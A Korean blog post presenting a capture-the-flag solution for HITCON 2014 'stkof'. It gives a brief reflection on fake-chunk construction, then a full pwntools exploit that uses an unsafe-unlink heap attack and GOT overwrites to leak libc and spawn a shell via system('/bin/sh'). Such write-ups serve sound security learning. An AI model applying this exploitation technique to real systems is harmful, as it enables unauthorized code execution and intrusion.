cdor1's lab
HITCON 2014 stkof 본문
후기 : fake chunk구성해줄때 되게 힘들었다.
prev_size부분을 0x90으로 주면 될 줄 알았는데 malloc과정에서 착각이 일어나는지
size와 prev_size부분까지 더한 크기가 아닌 실제로 입력할 수 있는 크기(0x80)을 prev_size로 주니 제대로 unlink가 진행되었다.
나중에 malloc.c를 분석하면서 알아내 봐야겠다.
from pwn import *
s = remote('localhost',4000)
elf = ELF('/home/cdor1/pwnable/stkof')
def malloc(size):
s.sendline('1')
s.sendline(str(size))
print s.recvuntil('OK')
def modify(num,size,data):
s.sendline('2')
s.sendline(str(num))
s.sendline(str(size))
s.sendline(data)
print s.recvuntil('OK')
def delete(num):
s.sendline('3')
s.sendline(str(num))
print s.recvuntil('OK')
malloc(0x80)
malloc(0x80)
malloc(0x80)
payload = p64(0)
payload += p64(0x91)
payload += p64(0x602148 - 0x18)
payload += p64(0x602148 - 0x10)
payload += 'A'*0x60
payload += p64(0x80)
payload += p64(0x90)
modify(1,len(payload),payload)
delete(2)
payload = p64(0)*2
payload += p64(elf.got['puts'])
payload += p64(elf.got['strlen'])
modify(1,len(payload),payload)
modify(1,8,p64(elf.plt['puts']))
s.sendline('4')
s.sendline('0')
print s.recvuntil('FAIL\n')
leak = u64(s.recv(6).ljust(8,'\x00'))
base = leak - 0x6FD60
system = base + 0x46590
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))
modify(1,8,p64(system))
modify(3,8,'/bin/sh\x00')
s.sendline('4')
s.sendline('3')
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
YISF 2016 pwn200 (0) | 2017.01.21 |
---|---|
WITHCON Final jnjn (0) | 2017.01.20 |
TJCTF blag (0) | 2017.01.19 |
Hack.lu CTF 2014 OREO (0) | 2017.01.18 |
9447 CTF search engine (0) | 2017.01.18 |
Comments